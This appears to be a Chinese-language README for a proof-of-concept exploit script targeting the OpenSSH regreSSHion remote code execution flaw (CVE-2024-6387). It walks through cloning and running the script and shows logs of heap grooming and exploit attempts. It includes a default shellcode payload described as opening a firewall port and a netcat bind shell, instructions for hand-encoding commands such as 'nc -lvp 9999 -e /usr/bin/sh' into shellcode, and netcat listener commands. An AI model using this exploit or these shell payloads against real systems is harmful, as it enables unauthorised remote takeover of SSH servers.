regreSSHion漏洞利用的概念验证Python脚本。版本0.2.1构建POC

git clone https://github.com/l-urk/CVE-2024-6387.git
cd CVE-2024-6387
pip3 install -r requirements.txt
python3 regreSSHion.py -h
🔒 CVE-2024-6387 regreSSHion 远程代码执行漏洞利用脚本
usage: regreSSHion.py [-h] -i IP -p PORT [-t] [-c] [-d] [-r] [-x] [-y] [-z]
🔒 CVE-2024-6387 regreSSHion 远程代码执行漏洞利用脚本
options:
-h, --help 显示此帮助信息并退出
-i IP, --ip IP 目标SSH服务器IPv4(格式:-i 0.0.0.0)
-p PORT, --port PORT 目标SSH服务器端口号(格式:-p 22)
-t, --time 启用时间显示在所有日志输出上(格式:-t)
-c, --clear 运行漏洞利用前清除屏幕(格式:-c)
-d, --debug 启用查看运行时的DEBUG日志输出(格式:-d)
-r, --repeat 启用重复利用直到RCE成功(格式:-r)
-x, --skipssh 启用以跳过SSH握手(格式:-x)
-y, --skipheap 启用以跳过堆解析(格式:-y)
-z, --skipfinal 启用以跳过最终ID检查(格式:-z)
🔒 受影响的OpenSSH版本:1.2.2p1 ~ 4.4 和 8.5p1 ~ 9.8
🔒 联系方式:github.com/l-urk - x.com/l_urkk
要使用脚本,以python3运行regreSSHion.py
python3 regreSSHion.py --ip 127.0.0.1 --port 22
2024-08-03 22:42:55,944 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:42:55,945 - INFOS - Connection established
2024-08-03 22:42:55,945 - INFOS - Performing SSH handshake...
2024-08-03 22:43:05,014 - INFOS - Received KEX_INIT (5 bytes)
2024-08-03 22:43:05,015 - INFOS - SSH handshake successful.
2024-08-03 22:43:05,015 - INFOS - Preparing heap...
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 1
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 2
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 3
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 4
假设你一路执行到了脚本的这里...
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 3
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 4
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 5
2024-08-03 22:46:45,858 - INFOS - Sent large string
2024-08-03 22:46:45,858 - INFOS - Heap preparation complete.
2024-08-03 22:47:05,879 - INFOS - Estimated parsing time: 0.000056 seconds
2024-08-03 22:47:05,880 - INFOS - Final packet sent successfully.
2024-08-03 22:47:05,880 - INFOS - Verifying exploit success.
2024-08-03 22:47:15,890 - WARN! - No response received for verification.
如果显示漏洞利用验证成功,说明你已经成功投递并执行了载荷。 脚本会尝试几次以达到成功。 我建议在你自己有漏洞的SSH服务器上尝试,直到你熟悉如何获得成功消息。
2024-08-03 22:47:15,891 - ERROR - Exploitation failed.
调试模式
python3 regreSSHion.py --ip 127.0.0.1 --port 22 --debug
示例输出:
2024-08-03 22:44:53,962 - DEBUG - Logging is set to DEBUG level
2024-08-03 22:44:53,962 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:44:53,963 - INFOS - Connection established
2024-08-03 22:44:53,963 - INFOS - Performing SSH handshake...
2024-08-03 22:44:53,963 - DEBUG - Sent SSH version string.
2024-08-03 22:44:53,963 - DEBUG - Waiting to receive SSH version string
2024-08-03 22:45:03,256 - DEBUG - Received SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
2024-08-03 22:45:04,373 - INFOS - Received KEX_INIT (4 bytes)
2024-08-03 22:45:04,373 - INFOS - SSH handshake successful.
2024-08-03 22:45:04,373 - INFOS - Preparing heap...
默认shellcode使用ufw开放入站端口9999,并在端口9999启动一个nc监听shell
shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x00\x00\x01\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
你可以通过使用ASCII转十六进制编辑器,并手动将其转换为shellcode来制作自己的shellcode载荷。我使用这个ASCII转十六进制网站:https://www.rapidtables.com/convert/number/ascii-to-hex.html
hello world
hello world
"\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"
printf hello world
printf hello world
"\x70\x72\x69\x6E\x74\x66\x20\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"
make test file
test > test
"\x74\x65\x73\x74\x20\x3E\x20\x74\x65\x73\x74"
允许端口9999的入站连接并打开一个端口9999的nc shell
ufw allow 9999 && /usr/bin/nc -lvp 9999 -e /usr/bin/sh
"\x75\x66\x77\x20\x61\x6C\x6C\x6F\x77\x20\x39\x39\x39\x39\x20\x26\x26\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x6E\x63\x20\x2D\x6C\x76\x70\x20\x39\x39\x39\x39\x20\x2D\x65\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x73\x68"
如果你想测试shellcode载荷的执行,可以使用send_socket.py脚本。 用法:
usage: send_socket.py [-h] [-i IP] [-p PORT] [-s SHELLCODE]
向目标套接字(IP和端口)发送shellcode
options:
-h, --help 显示此帮助信息并退出
-i IP, --ip IP 目标IP地址(默认:127.0.0.1)
-p PORT, --port PORT 目标TCP套接字端口(默认:1111)
-s SHELLCODE, --shellcode SHELLCODE
要发送的shellcode十六进制,格式:\x00\x00\x00\...等(默认:F13)
发送端:
python3 send_socket.py -i 127.0.0.1 -p 1111
监听端:
nc -lvp 1111
nc -lvp 1111 -e /usr/bin/bash